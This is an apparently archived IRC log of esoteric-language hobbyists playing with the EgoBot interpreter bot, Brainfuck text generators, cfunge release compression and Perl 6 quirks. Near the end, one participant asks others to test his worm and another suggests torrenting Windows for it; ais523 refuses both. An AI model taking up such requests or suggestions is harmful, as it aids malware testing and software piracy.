17:15:05 although, CLC-INTERCAL would have a simpler interface 17:15:07 ais523: Not really. plimits work just as well for 1 and 10. 17:15:09 GregorR: I was hoping one of those would be something that doesn't, so I could discern what it is 17:15:10 C-INTERCAL needs to fork gcc to compile 17:15:18 whereas with CLC-INTERCAL, you can just use -lRun to run the program 17:15:57 Deewiant: hello and better_hello are C implementations of Hello (the language that only accepts 'h'), echo echos, bfbignum implements bignum BF on top of normal BF, and foobar ... well, I don't remember foobar. 17:16:00 !echo hi 17:16:00 hi 17:16:16 ais523: /me pokes around. 17:16:16 !foobar 64 and 64 and 64, oh my. 17:16:17 64 and 64 and 64, oh my. 17:16:22 Cat. 17:16:22 :-P 17:16:27 It seems that foobar echos too :P 17:16:30 (Not http://www.esolangs.org/wiki/Foobar) 17:16:48 foobar and foobaz and barbaz, oh my? 17:16:56 Yes. 17:17:10 !delinterp foobar 17:17:10 Interpreter foobar deleted. 17:17:24 !delinterp bfbignum 17:17:24 Interpreter bfbignum deleted. 17:17:34 X_X 17:17:34 !delinterp delinterp 17:17:34 That interpreter doesn't exist! 17:17:45 !delinterp '' 17:17:46 That interpreter doesn't exist! 17:17:47 !delinterp "" 17:17:48 That interpreter doesn't exist! 17:17:52 addinterp bfbignum bf http://esoteric.voxelperfect.net/files/brainfuck/src/kbfi.b 17:17:54 !addinterp bfbignum bf http://esoteric.voxelperfect.net/files/brainfuck/src/kbfi.b 17:17:54 Interpreter bfbignum installed. 17:17:58 !h g 17:18:00 !h h 17:18:10 !hello h 17:18:10 !hello h 17:18:11 Hello World 17:18:11 Hello World 17:18:20 !h g 17:18:20 X_X 17:18:22 !hello g 17:18:23 Unknown command (g) encountered 17:18:37 !better_hello g 17:18:44 what forms of giving input to programs does EgoBot support atm? 17:18:59 ais523: With !daemon, stdin. 17:19:10 !daemon anotherecho bf ,[.,] 17:19:10 Daemon anotherecho running. 17:19:10 !addinterp slowbf98 befunge98 iki.fi/deewiant/files/befunge/programs/slowdown.b98 17:19:10 Interpreter slowbf98 installed. 17:19:13 !anotherecho hi 17:19:14 hi 17:19:16 !anotherecho hibye 17:19:17 hibye 17:19:22 !kill anotherecho 17:19:22 Daemon anotherecho killed. 17:19:37 !slowbf98 a"dlrow ,olleh">:#,_@ 17:19:55 Deewiant: is slowdown foolable, by the way? 17:19:58 Deewiant: It'll get killed after 30 seconds :P 17:20:04 GregorR: It shouldn't be /that/ slow 17:20:05 as in, can a program running inside slowdown tell that it's been slowed? 17:20:17 Yes, since the storage offset isn't (0,0) 17:20:18 yep, cfunge was optimising to try to handle slowdown in reasonable speed 17:20:39 aaaaaaaaaaah! 17:20:44 too much scrollback to read 17:20:49 so did anything important happen 17:20:51 AnMaster: we've been playing with EgoBot 17:20:52 !help 17:20:53 Supported commands: addinterp bf_txtgen daemon daemons delinterp help info kill userinterps 1l 2l adjust asm axo bch befunge befunge98 better_hello bf bf16 bf32 bf8 bfbignum c cxx dimensifuck echo forth glass glypho hello kipple lambda lazyk linguine malbolge pbrain perl qbf rail rhotor sadol sceql sh slowbf98 test trigger udage01 underload unlambda whirl 17:21:00 !info 17:21:00 EgoBot is a bot for running programs in esoteric programming languages. If you'd like to add support for your language to EgoBot, check out the source via mercurial at https://codu.org/projects/egobot/hg/ 17:21:02 ah 17:21:05 Everybody wurves EgoBot :P 17:21:11 how many new languages 17:21:24 AnMaster: None of significance, but it has both !addinterp and !daemon now. 17:21:52 GregorR: How did you build cfunge? 17:22:00 Deewiant: cmake :P 17:22:02 Or wait, that shouldn't matter for that 17:22:11 I was wondering whether EXACT_BOUNDS was on or off 17:22:13 (The only difference being that when you use an !addinterp, it runs it once for each line of input, whereas when you use a !daemon, a single instance gets all input) 17:22:18 But since that doesn't wrap it shouldn't matter 17:22:27 Deewiant: It is still running, it's just not saying anything :P 17:22:31 !help addinterp 17:22:31 Supported commands: addinterp bf_txtgen daemon daemons delinterp help info kill userinterps 1l 2l adjust asm axo bch befunge befunge98 better_hello bf bf16 bf32 bf8 bfbignum c cxx dimensifuck echo forth glass glypho hello kipple lambda lazyk linguine malbolge pbrain perl qbf rail rhotor sadol sceql sh slowbf98 test trigger udage01 underload unlambda whirl 17:22:33 err 17:22:33 GregorR: O_o 17:22:39 That is odd. 17:22:39 GregorR, add help for it 17:22:42 Deewiant: Nowait, it got killed for taking too long, sowwy :P 17:22:48 GregorR: Are you on a 286? 17:22:55 Deewiant: No, an 8086 17:22:57 Deewiant, exact bounds are on iirc 17:23:04 Seriously, that should take a couple of seconds at most. 17:23:14 Even on a not-very-new machine. 17:23:22 !befunge98 a"dlrow ,olleh">:#,_@ 17:23:23 hello, world 17:23:26 Deewiant, which line 17:23:33 ah 17:23:44 GregorR: It takes 0.02s here, FWIW. 17:24:06 !daemon 17:24:06 Daemon running. 17:24:08 Or hmm 17:24:10 !help daemon 17:24:10 Supported commands: addinterp bf_txtgen daemon daemons delinterp help info kill userinterps 1l 2l adjust asm axo bch befunge befunge98 better_hello bf bf16 bf32 bf8 bfbignum c cxx dimensifuck echo forth glass glypho hello kipple lambda lazyk linguine malbolge pbrain perl qbf rail rhotor sadol sceql sh slowbf98 test trigger udage01 underload unlambda whirl 17:24:14 !kill 17:24:14 Daemon killed. 17:24:17 GregorR: Do you give the program in stdin? 17:24:18 GregorR, add help for them 17:24:20 :/ 17:24:23 um 17:24:23 really, a null daemon is pretty pointless 17:24:30 Deewiant: Yes. 17:24:34 That'd explain it. 17:24:37 AnMaster: I am. 17:24:38 It wants a command line arg. 17:24:42 Deewiant: Too bad. 17:24:43 Deewiant, it runs in sandbox mode 17:24:45 so it can't load a file 17:24:51 with i or such 17:24:57 Oh, meh. 17:25:00 !delinterp slowbf98 17:25:00 Interpreter slowbf98 deleted. 17:25:45 i only works on files so it would've been too much work to deal with stdin :-P 17:26:16 !befunge98 ;@.1;#; "file.b98"00 #; i 2.@ 17:26:16 1 17:26:17 /dev/stdin? 17:26:21 as I expected 17:26:27 ais523, you can't mmap() stdin 17:26:38 so then you would need to write a patch to how files are loaded 17:26:42 err, you use mmap for i, with no fallback to something unmappable? 17:27:50 ais523, that would need a different parser then. Since if I used fread() or such I would have to deal with \r at end of block might be followed by \n at the start of next 17:28:09 that complexity was the main reason I used mmap() to begin with :P 17:28:14 you could just use fgetc 17:28:27 ais523, feel free to use FILE :) 17:28:41 I don't think it is a bug anyway. 17:29:31 ais523, and i would still be banned in sandbox mode. Since the check is done quite early on 17:29:38 well, yes 17:29:52 in -S it acts like i and o are not implemented. And y reports that way. 17:31:07 !help addinterp 17:31:07 addinterp: !addinterp . Add a new interpreter to EgoBot. This interpreter will be run once every time you type ! , and receive the program code as input. 17:31:25 !help daemon 17:31:26 daemon: !daemon . Add a daemon to EgoBot. A daemon will run in the background, and accept a line of input every time ! is run. Note that daemons are only allotted one line of output for each line of input. 17:32:00 !help 17:32:00 Supported commands: addinterp bf_txtgen daemon daemons delinterp help info kill userinterps 1l 2l adjust asm axo bch befunge befunge98 better_hello bf bf16 bf32 bf8 bfbignum c cxx dimensifuck echo forth glass glypho hello kipple lambda lazyk linguine malbolge pbrain perl qbf rail rhotor sadol sceql sh test trigger udage01 underload unlambda whirl 17:32:04 !help befunge98 17:32:04 Sorry, I have no help for befunge98! 17:32:07 !help foo 17:32:07 Sorry, I have no help for foo! 17:32:10 good 17:32:13 !help 17:32:13 Supported commands: addinterp bf_txtgen daemon daemons delinterp help info kill userinterps 1l 2l adjust asm axo bch befunge befunge98 better_hello bf bf16 bf32 bf8 bfbignum c cxx dimensifuck echo forth glass glypho hello kipple lambda lazyk linguine malbolge pbrain perl qbf rail rhotor sadol sceql sh test trigger udage01 underload unlambda whirl 17:32:18 !help a b 17:32:18 Sorry, I have no help for a_b! 17:32:21 aha 17:32:24 Only addinterp, daemon and friends are !help'd right now. 17:32:39 !help $#@$#@$ 17:32:40 Sorry, I have no help for _______! 17:32:46 And yes, it does sanitize its arguments :P 17:32:54 GregorR, you could make this tell language name and url for each 17:32:54 !help daemon 17:32:54 daemon: !daemon . Add a daemon to EgoBot. A daemon will run in the background, and accept a line of input every time ! is run. Note that daemons are only allotted one line of output for each line of input. 17:33:05 AnMaster: I could. So could you ;) 17:33:07 GregorR, maybe fetch data from USED_VERSION 17:33:09 or such 17:33:15 AnMaster: If only USED_VERSION was useful >_> 17:33:25 GregorR, no, I'm preparing a cfunge 0.4.1 atm 17:33:37 -!- MizardX has joined. 17:33:41 ......................... /me fails to see how that's relevant to this. 17:33:48 " AnMaster: I could. So could you ;)" 17:33:48 * GregorR goes back to adding INTERCAL 17:33:51 as in "busy" 17:33:53 Oh :P 17:35:35 -!- Slereah has joined. 17:36:48 -!- WangZeDong has quit (Success). 17:38:05 Bleh, CLC-INTERCAL pretty much can't live without being installed, can it ... 17:38:46 no, but you can install it into a hierarchy somewhere else 17:38:53 and then use PERL5LIBS or command-line options to tell it where 17:39:04 in theory, at least, I've never tried 17:39:23 * GregorR hates makemaker, but tries to remember it to be fair. 17:40:35 -!- nooga has joined. 17:41:40 i'd like to have something like botnet, but made to perform distributed computing :d 17:41:59 like erm... silent seti@home 17:43:03 How about protein folding. 17:43:12 I WILL FORCE YOU TO CURE CANCER WHETHER YOU LIKE IT OR NOT 17:43:20 that'd be sick 17:43:43 computer slave labour ;F 17:49:52 I hear you can buy botnet access from CRIMINALS; I wonder if any research lab has done "oh, crud, we have to compute this simulation before weekend, but our cluster is too small; let's call the Storm guys". 17:51:07 lol :D 17:55:08 ais523: CLC-INTERCAL installed 17:55:15 maybe i should try this "yellow/red/orange square" trick from 4chan 17:55:31 !help 17:55:32 Supported commands: addinterp bf_txtgen daemon daemons delinterp help info kill userinterps 1l 2l adjust asm axo bch befunge befunge98 better_hello bf bf16 bf32 bf8 bfbignum c cxx dimensifuck echo forth glass glypho hello intercal kipple lambda lazyk linguine malbolge pbrain perl qbf rail rhotor sadol sceql sh test trigger udage01 underload unlambda whirl 17:55:46 !intercal DO READ OUT #4 17:55:51 *000 Invalid statement 17:56:03 it gave the correct answer, but gave the error first 17:56:08 lawl :P 17:56:14 !c ? 17:56:15 Does not compile. 17:56:19 I wonder why it errored? 17:56:19 156K cfunge-0.4.1.tar.bz2 17:56:19 186K cfunge-0.4.1.tar.gz 17:56:19 148K cfunge-0.4.1.tar.lzma 17:56:24 so which one should I use 17:56:35 .Z 17:56:40 Or .rar 17:56:42 I'd go for bz2 because it is easier to unpack 17:56:50 Easier than .gz? 17:56:52 So long as it's an obnoxious format that's difficult to unpack. 17:56:53 !c printf("eeek"); 17:56:54 eeek 17:56:54 GregorR, can't do rar. .Z I could do 17:56:57 Deewiant, as easy 17:57:08 You have access to compress? :P Solaris? 17:57:15 do .pax, not .tar 17:57:24 Do .shar, not .pax 17:57:34 .a 17:57:35 well, yes if I ever post it on Usenet 17:57:36 325K cfunge-0.4.1.tar.Z 17:57:37 btw 17:57:38 GregorR, ^ 17:57:40 but things should be used for what they're designed for 17:57:43 way too large 17:57:48 .zip 17:57:51 ... encode it as Brainfuck? .bf.gz 17:57:53 AARGH 17:58:08 Deewiant, how do you do that on command line 17:58:19 What 17:58:22 .a or .zip 17:58:24 You have access to compress? :P Solaris? <-- no. I installed it from portage. 17:58:28 Deewiant, the latter 17:58:34 I don't plan to do recursive .a 17:58:44 AnMaster: "zip", with the same syntax as tar except you omit the cvf argument 17:58:46 AnMaster: Get 'zip' 17:58:46 ais523, what would I *gain* from .pax 17:58:49 WTF? Since when is there a version of compress for nonshittyOS? 17:58:51 is there any difference 17:58:54 AnMaster: standards-compliance 17:59:05 ais523, so zip cfunge-0.4.1.zip cfunge-0.4.1 17:59:14 GregorR: Comes with gzip, apparently 17:59:20 AnMaster: yes 17:59:22 app-arch/ncompress http://ncompress.sourceforge.net/ Description: Another uncompressor for compatibility 17:59:43 Distribute it as a lzma-compressed squashfs image; that has the added-value benefit of not being in the main squashfs tree, requiring separate patching. (Although I guess distributions package that stuff, still.) 17:59:58 s/main squashfs/main linux/ 17:59:58 ? 18:00:04 fizzie, would mean I would have to do it too 18:00:12 And I think cramfs is even less widespread than squashfs 18:00:32 err 18:00:35 the zip didn't work 18:00:37 Deewiant: Well, "main squashfs tree" meaning the places where squashfs-utilities come from; but it's also not in the mainline kernel. 18:00:40 it didn't add recursively 18:00:47 fail 18:00:54 it added the directory 18:00:56 AnMaster: zip -r. 18:00:57 but nothing in it 18:01:08 Damn, textgen.java can't generate a BF version of a 1.1M block of text :P 18:01:20 327K cfunge-0.4.1.zip 18:01:27 lets see what advzip can do to that 18:01:30 Somebody write me a better BF text generator! :( 18:01:32 !bf_txtgen Hello, world! 18:01:35 126 ++++++++++[>+++++++>++++++++++>++++>+<<<<-]>++.>+.+++++++..+++.>++++.------------.<++++++++.--------.+++.------.--------.>+.>. [859] 18:01:47 why did it add that infinite loop at the end? 18:01:50 (And by "better", I only mean "supporting obscenely huge input") 18:01:50 312K cfunge-0.4.1.zip 18:01:54 after advzip 18:02:05 ais523: ...........? 18:02:06 AnMaster: zip -9 should be better. 18:02:20 GregorR: "[859]" is an infinite loop, because the current tape element isn't a 0 18:02:29 zip -9r 18:02:30 X_X 18:02:36 no difference to original 18:02:39 so 327K 18:02:39 ais523: That's the number of generations it ran X-P 18:02:42 in other words 18:02:45 Shrug. 18:02:50 7zip can also generate zips; it might even do smaller ones. I don't happen to have cfunge-0.4.1 so I can't really test. 18:03:17 so score board: 18:03:21 148K cfunge-0.4.1.tar.lzma 18:03:21 156K cfunge-0.4.1.tar.bz2 18:03:21 186K cfunge-0.4.1.tar.gz 18:03:21 312K cfunge-0.4.1.zip 18:03:21 325K cfunge-0.4.1.tar.Z 18:03:33 that is using the best compression possible for each 18:03:55 distribute the binary, with a --quine option? 18:04:00 I'm going for bz2 I think here. The difference to lzma is minimal in this case, and bzip2 is rather common these days. 18:04:07 ais523, make a patch 18:04:11 .arj! 18:04:18 Deewiant, don't have it installed 18:04:22 Meh! 18:04:24 so not going to 18:04:29 actually, why binaries? Why not decimals? 18:04:48 someone should write an executable which doesn't have a single a, b, c, d, e, or f when encoded into hex 18:04:50 I can do sit I think. 18:04:53 :-D 18:05:02 Deewiant, was that to me or ais523 18:05:04 "7z a -tzip -mx=9 blah.zip files" for most-compressed zip 7zip can do, if I read the docs right. 18:05:08 AnMaster: ais 18:05:25 fizzie: I use -mfb=273 on top of that 18:05:30 Can't remember what it does. 18:05:38 311K cfunge-0.4.1.7.zip 18:05:42 No, wait 18:05:44 That was for 7z 18:05:48 so 1 kb less than after advancecomp 18:05:48 "Sets number of Fast Bytes for Deflate encoder." 18:05:49 7za a -r -tzip -mx9 -mfb=258 -mpass=15 $f.zip $f 18:05:56 That's what I use for zips 18:06:49 Deewiant, same size as from command fizzie gave 18:07:02 To the byte? 18:07:13 Deewiant, yes 18:07:22 Alright, guess it does nothing then 18:07:35 -mx=9 implies (without the other flags) -mfb=128 -mpass=10, again if I read this table right. 18:07:37 Deewiant, it might, just not in this specific case 18:07:38 having more than 256 possible bytes is rather strange anyway 18:08:02 ais523, err 18:08:03 what 18:08:08 MOOO 18:08:53 what the hell 18:09:05 sourceforge changed my username from AnMaster to anmaster 18:09:20 since last time I looked 18:09:57 I'm not sure where I got 258 and 273 18:11:13 wow, Perl6 lets you get the length of a string in pixels 18:11:19 I wonder what happens if you try that in a text-mode program? 18:11:29 ais523: how? 18:11:37 nooga: I don't know 18:11:47 I haven't tried it, I'm just reading the docs 18:11:56 wow, Perl6 lets you get the length of a string in pixels 18:11:58 *blink* 18:12:05 isn't that up to the GUI toolkit 18:12:13 yea? 18:12:15 that's what I'd assume, too 18:12:18 I mean, getting length in pixels 18:12:20 presumably you have to have an active GUI, or something 18:12:24 just like you have an active filehandle 18:12:26 it isn't like it is core feature 18:15:50 Deewiant: You probably got 258 from the fact that it's the maximum for that particular value for zip/deflate. 18:16:25 Yeah, I figured it'd be something like that, but I don't know where in particular I found that out 18:16:32 Unless it says so right there in the manual? 18:16:46 Well, in the /usr/share/doc/p7zip-full/DOCS/MANUAL/switches/method.htm manual in my case. 18:16:54 "It can be in the range from 3 to 258." 18:17:04 Aye. 18:17:34 3 to 258 is a range that fits inside an 8-bit int 18:17:37 with appropriate encoding 18:17:47 Such as adding 3 18:19:13 heh, Perl6 added support for all the bracket characters in Unicode, for things like s{}{} 18:19:29 that reminds me of C-INTERCAL treating all the currency characters in Unicode as mingle... 18:20:19 ais523, there 18:20:20 ? 18:20:23 oh right yes 18:20:27 AnMaster: I was just talking... 18:21:39 well I'm going to submit that news item thing. And sf.net will add it on slashdot again. 18:21:50 ais523, http://slashdot.org/firehose.pl?op=view&id=4375881 18:21:55 so up-mod it 18:21:57 I guess 18:22:01 $ du -h cfunge-src.shar.bf 18:22:01 47M cfunge-src.shar.bf 18:22:09 s❮foo❯❮bar❯ for heavy-duty string-replacement. 18:22:13 GregorR, forget it 18:22:26 fizzie, err.... they dropped / now? 18:22:28 or rather 18:22:32 That being "heavy left/right-pointing angle quotation mark ornament". 18:22:33 shouldn't it be same char 18:22:34 You mean I just wrote this awesome text->BF translator that supports arbitrarily long input for NOTHING :( 18:22:48 For brackets it's always been in the "s{foo}{bar}" style. 18:22:49 Exact bounds wasn't in a release yet? 18:22:59 GregorR: you're supposed to compress the bf afterwards 18:23:01 I thought it was in 4.0 18:23:02 Deewiant, no. It was added between 0.4.0 and 0.4.1 18:23:03 For non-parenthesis-like characters it's the same character. 18:23:13 and I'm interested in it, even if AnMaster isn't 18:23:13 Deewiant, It will be in 4.0 I'm sure. 18:23:17 ais523: I am. 18:23:22 ais523: But it takes a while to compress 47MB :P 18:23:24 AnMaster: Why is cfunge less than 1.0 anyway 18:23:36 AnMaster: upmodded, but basically no chance it'll make the front page anyway 18:23:39 Deewiant, Why not. 18:23:40 $ du -h cfunge-src.shar.bf.lzma 18:23:41 392K cfunge-src.shar.bf.lzma 18:23:49 This is clearly your best format. 18:23:49 AnMaster: There's nothing 'missing' 18:23:53 that's not all that bad... 18:24:06 Deewiant, ehird would disagree I think. ;O 18:24:07 ;P* 18:24:26 CCBI was at 1.0 when it could run Mycology minus the fingerprints 18:24:29 Deewiant, anyway. There is. I'm not below 0.010 yet 18:24:30 ;P 18:24:51 Deewiant, IMO Linux should be 3.0 by now 18:24:53 ais523: It only takes 2.4s for egobfi8 to extract the .bf 18:24:58 since so much changed since 2.6.0 18:25:00 ("extract") 18:25:01 GregorR: impressive 18:25:08 but each version changed very little 18:25:21 how efficient is your text-to-BF translator, in terms of output size? 18:25:28 Deewiant, does that answer it 18:25:31 ais523: Really quite awful :P 18:25:45 !help 18:25:45 Supported commands: addinterp bf_txtgen daemon daemons delinterp help info kill userinterps 1l 2l adjust asm axo bch befunge befunge98 better_hello bf bf16 bf32 bf8 bfbignum c cxx dimensifuck echo forth glass glypho hello intercal kipple lambda lazyk linguine malbolge pbrain perl qbf rail rhotor sadol sceql sh test trigger udage01 underload unlambda whirl 18:25:50 ais523: All it does is factor, multiply up the factors, then add that in. It doesn't even make good use of cells. 18:25:52 GregorR, did you use bf_txtgen 18:25:54 for this 18:25:59 AnMaster: No, that won't handle 1.1M files :( 18:26:13 GregorR, don't use shar for the input then 18:26:17 !intercal DO READ OUT #4¢#6 18:26:19 !bf_txtgen cfunge 18:26:22 71 +++++++++[>+++++++++++>+++++++++++++>+><<<<-]>.+++.>.-------.<+.--.>>+. [305] 18:26:24 *000 ¢#6 18:26:29 AnMaster: Not at all. Firstly, Linux is past 1.0, and secondly, saying that Linux should be at a higher version makes it seem even more that cfunge should be at a higher version too :-P 18:26:31 err 18:26:33 !bf_txtgen cfunge 18:26:36 71 +++++++++[>+>+++++++++++>+++++++++++++><<<<-]>>.+++.>.-------.<+.--.<+. [207] 18:26:36 AnMaster: I don't think tar would do better, but I'll give it a shot. 18:26:44 GregorR, what is the "71" there for 18:26:52 Length? 18:26:56 GregorR, tar produces non-ascii armoured one 18:26:57 AnMaster: Length of the BF program. 18:26:59 GregorR: what character set are you giving CLC-INTERCAL its input in? It needs Latin-1, I suspect you're passing it UTF8 18:27:02 fizzie, then what is the [207] for 18:27:05 ... 18:27:06 Generation. 18:27:09 Remind me what WRITE IN and READ OUT do. 18:27:10 ah 18:27:15 ais523: I'm passing it raw exactly what comes from IRC. 18:27:16 well, or I'm passing it UTF-8 18:27:17 it uses generic algo 18:27:18 heh 18:27:21 !bf_txtgen cfunge 18:27:23 76 ++++++++++[>++++++++++>+>><<<<-]>-.+++.+++++++++++++++.-------.-------.--.>. [64] 18:27:28 well 18:27:30 I'm not even sure I could paste raw latin-1 in this client 18:27:30 !bf_txtgen cfunge 18:27:33 71 +++++++++[>+++++++++++>+++++++++++++>+><<<<-]>.+++.>.-------.<+.--.>>+. [215] 18:27:42 they are quite different 18:27:44 even at 71 18:27:49 !intercal DO READ OUT #4#6 18:27:50 !bf_txtgen cfunge 18:27:52 71 +++++++++[>+++++++++++++>+++++++++++>+><<<<-]>>.+++.<.-------.>+.--.>+. [475] 18:27:53 It's funny how it always uses that fixed number of cells, ends up doing that "><" in the loop. 18:27:57 *000 Invalid statement 18:28:00 $ du -h cfunge-src.tar.bf 18:28:00 36M cfunge-src.tar.bf 18:28:06 ah, correct answer this timme 18:28:08 *time 18:28:18 It's funny how it always uses that fixed number of cells, ends up doing that "><" in the loop. 18:28:20 yes 18:28:24 I can get it smaller 18:28:26 fizzie: It uses a genetic algorithm and I cut it off before it can really perfect things. 18:28:31 !intercal DO READ OUT #4#6 DO GIVE UP 18:28:37 LII 18:28:39 69 +++++++++[>+++++++++++++>+++++++++++>+<<<-]>>.+++.<.-------.>+.--.>+. [human] 18:28:41 that's better 18:28:52 !intercal DO READ OUT #130~#125 DO GIVE UP 18:28:58 NIHIL 18:29:03 GregorR, you could at least compress the result 18:29:03 $ du -h cfunge-src.tar.bf.lzma 18:29:03 316K cfunge-src.tar.bf.lzma 18:29:14 AnMaster: I do, but it takes a while to compress 36MB X-P 18:29:19 GregorR, ... 18:29:21 69 +++++++++[>+++++++++++++>+++++++++++>+<<<-]>>.+++.<.-------.>+.--.>+. [human] 18:29:22 that one 18:29:28 AnMaster: With "-t 2" and letting it run a while gives a 64-character version: +++++++++[>+++++++++++>+++++++++++++<<-]>.+++.>.-------.<+.--. 18:29:29 from 18:29:29 Oh 18:29:31 ^bf +++++++++[>+++++++++++>+++++++++++++<<-]>.+++.>.-------.<+.--. 18:29:31 cfunge 18:29:32 71 +++++++++[>+++++++++++++>+++++++++++>+><<<<-]>>.+++.<.-------.>+.--.>+. [475] 18:29:39 GregorR, you have a >< there 18:29:40 AnMaster: I just give the raw output directly from textgen.java 18:29:54 GregorR, it wouldn't be much work stripping >< 18:29:57 and such 18:30:03 fizzie, nice 18:30:03 And yet, I'm soooooooooooooo lazy. 18:30:09 * nooga is browsing milw0rm 18:30:24 coud you guys test my worm, later? 18:30:42 nooga: If it's a good worm, you don't need to ask us, nor will we ever realize we tested it. 18:30:59 nooga: what OS are you designing it for? Most likely, I wouldn't be able to run it 18:31:20 ais523: try running windoze in virtualbox 18:31:21 :d 18:31:29 nooga: I don't have a Windows licence 18:31:31 (ais runs BeOS) 18:31:33 oh 18:31:35 nor would I install one to help you test malware 18:31:40 GregorR: no, I run Linux 18:31:44 i've got MSDNAA 18:31:45 ;d 18:31:45 ais523: I'm kidding :P 18:31:54 I think I've got a spare Windows 98SE license lying around 18:31:57 but probably not the install media 18:32:16 ais523: BitTorrent it? 18:32:24 nvm 18:32:32 pikhq: but that would be illegal, wouldn't it? 18:32:36 /b/tards will test the worm 18:32:48 you get a license to a particular copy of Windows, not to other people's versions, IIRC 18:32:56 and I'm not sure offhand what sort of license it was 18:33:12 I suspect it's merely a tiny bit of a grey area. 18:33:34 You might be able to go to court for it, but you'd be rather likely to win the case; after all, you *do* have a license. 18:33:50 nevermind 18:33:54 ;f 18:34:05 !c printf("lawlehcoptahs") 18:34:06 lawlehcoptahs 18:34:11 pikhq: but if torrenting, unless I was leeching, I'd be uploading it to other people at the same time 18:34:14 and /that/ would be illegal 18:34:32 Mmm... Probably. 18:34:55 I love perl6's but operator, anyway 18:35:12 how does it work? 18:35:16 in perl5, the string "0 but true" was often used to give a value which was numerically 0, but true 18:35:17 ^unscramble lawenilothetl 18:35:18 llatweehntiol 18:35:32 http://pastebin.ca/1411339 <-- my lame-o BF textgen. 18:35:40 in perl6, you can write 0 but true as an expression, and get a copy of 0 that is true 18:35:54 That's so very... Screwy. 18:35:55 ais523: Ewwwwwwwwww 18:35:56 probably it's most useful for $var but untainted 18:35:58 or whatever 18:36:05 Haha :-D 18:36:05 Perlesque, even. 18:36:06 That rocks 18:36:14 "true but false" 18:36:24 Deewiant: that would be a copy of true, except for being false 18:36:29 which would just be false, as far as I can tell 18:36:38 because true and false are the same apart from their truth values 18:36:40 Yes, as far as I can tell also 18:36:46 So it's just a cool way of writing false 18:37:00 GregorR: what gc? 18:37:04 libgc 18:37:04 except I'm not sure if true and false are the names of the booleans 18:37:11 GregorR: and how is your c2bf? 18:37:16 probably they are, though 18:37:19 I've become too lazy to manage my memory even when it's trivially simple :P 18:37:24 nooga: Unmaintained for years. 18:37:47 gcc-bf's only unmaintained for months, it must be winning! 18:38:13 hoh 18:38:15 nooga: It works, but not well. ;) 18:38:27 gcc-bf doesn't work, but well 18:38:36 although it's a bit inefficient, or would be if it worked 18:38:41 ais523: Well, if it generates correct code, than it is much better. :p 18:38:42 O(n) pointer access, for instance 18:38:53 and it generates incorrect code, but that's due to bugs 18:39:01 and unimplemented things, like multiplication 18:39:04 Bugs don't count when it comes to correctness 18:39:11 does anyone know a decent way to do 64-bit multiplication in BF? 18:39:14 nooga: http://pastebin.ca/1411342 , there, no gc :P 18:39:20 As long as it would be correct if it didn't have any bugs, it's correct 18:39:23 ais523: By tearing ones eyes out. 18:39:35 GregorR: I'm sure that doesn't comply with the C standard... 18:39:49 I'm aiming to be both standards-compliant, and also working on many real-world programs 18:39:58 ais523: There's a multiplication algorithm, and there's a way of making 8-bit Brainfuck act as 64-bit. 18:40:00 gcc-bf's meant to act as much like genuine gcc as possible, whilst still giving output in BF 18:40:07 pikhq: inefficient 18:40:09 Assuming you can do n-bit multiplication you can probably do m-bit multiplication for m > n 18:40:25 yes, but I want efficient implementations of everything 18:40:27 True. 18:40:33 assuming an impl which optimises run-length 18:40:39 But there's not many *good* ways to do 64-bit multiplication. 18:40:42 GregorR: where is the src of c2bf? :o 18:40:48 in fact, I may make gcc-bf output in run-length encoding by default 18:40:52 Somewhere on codu.org... 18:40:56 otherwise my computer starts swapping trying to compile hello world 18:41:07 Ouch 18:41:43 the actual compile's fine, it turns out to be the output routine that can't handle it 18:42:02 probably by outputting a bit at a time rather than doing the whole thing in memory, I could get around that problem 18:42:26 Hrm. Something like the output format from my (kinda lazy) bfcompress program, then... 18:42:38 nooga: It's on sourceforge, project c2bf 18:42:43 Errm 18:42:48 Sorry, project brainfuck 18:42:57 In SVN, its under the directory c2bf 18:42:58 GregorR: are you gregorr on sourceforge yet? 18:43:08 AnMaster was complaining about being undesirably lowercased 18:43:11 I don't use sourceforge any more :P 18:43:16 That program that inspired me to write PEBBLE. 18:43:29 I wonder how similar PEBBLE is to ABI? 18:43:48 ABI? 18:44:18 Application Binary Interface, duuuuh 18:44:35 well, I chose the acronym due to the clash 18:44:39 GregorR: In this context, that leaves me more confused than before. ;p 18:44:43 in this case, it's Assembable Brainfuck Instructions 18:44:49 *Assemblable 18:44:53 I'd need to look at it. 18:44:56 Awww, /me liked "Assembable" :( 18:44:57 it's an asm-like precursor to BF 18:45:04 pikhq: let me find some 18:45:07 and paste it 18:45:35 Either me or oerjan would be the only people that could judge, I think. (did anyone else do much of anything with PEBBLE?) 18:45:44 At this point, if I really wanted a C->BF, I would use mips-gcc and make a MIPS->BF translator. 18:46:10 A MIPS->BF translator? That sounds like a really painfully cool idea. 18:46:23 $ zcat libm.a > /tmp/libm.abi 18:46:25 Less painful than a straight C->BF compiler, I bet. 18:46:27 wow, I can't believe I just wrote that 18:46:46 * pikhq applauds? 18:47:23 Or maybe a MIPS->{pebble,ABI} translator? :P 18:47:54 MIPS->PEBBLE wouldn't be too much easier than MIPS->Brainfuck... 18:48:10 PEEBLE 18:48:12 You'd be able to use some macros instead of implementing arithmetic, I guess. 18:49:23 Maybe create some macros to help with the function stuff. 18:49:24 can't google it :C 18:49:50 nooga: I've lost my hosting, sadly. 18:50:35 http://pastebin.ca/1411353 18:50:38 that should give a good idea 18:51:24 the linker will split that into more fundamental instructions before converting it to bf 18:51:59 Ah. That is higher level than PEBBLE. ;) 18:52:12 many of the instructions map pretty closely onto BF, though 18:52:19 PEBBLE gives you macros, variables, and that's about it. 18:52:19 what in particular made you think it was higher-level? 18:52:27 It has labels. 18:52:31 ah 18:52:37 it has several other things, too 18:52:41 like hardware stack and frame 18:52:43 and pointers 18:52:47 and registers 18:52:52 To do that in PEBBLE, you need to set up nested loops. 18:53:01 probably the biggest difference is autoseek 18:53:15 < and > can't be translated, instead you say where on the tape to operate 18:53:19 and it figures out how to get there 18:53:20 (using the if or ift macros instead of while, for readibility's sake) 18:53:31 -!- puzzlet has quit (Read error: 60 (Operation timed out)). 18:53:43 the C -> ABI part of gcc-bf is pretty much finished 18:53:51 the ABI -> BF part is running into trouble, though 18:54:05 yes, I could implement multiplication using a loop, but that would be massively inefficient 18:54:10 In PEBBLE, you can go use < and > on the tape any time you want. 18:54:24 ok, so they aren't really that similar 18:54:25 Accessing variables while you're doing that is undefined behavior. ;) 18:54:35 ais523: Brainfuck /is/ rather inefficient. 18:54:43 yes, I know 18:54:51 -!- puzzlet has joined. 18:54:52 but I do things like optimise multibyte addition 18:55:02 so that it adds bytewise, not numberwise 18:57:07 Which isn't something PEBBLE does. 18:57:19 (I could add a 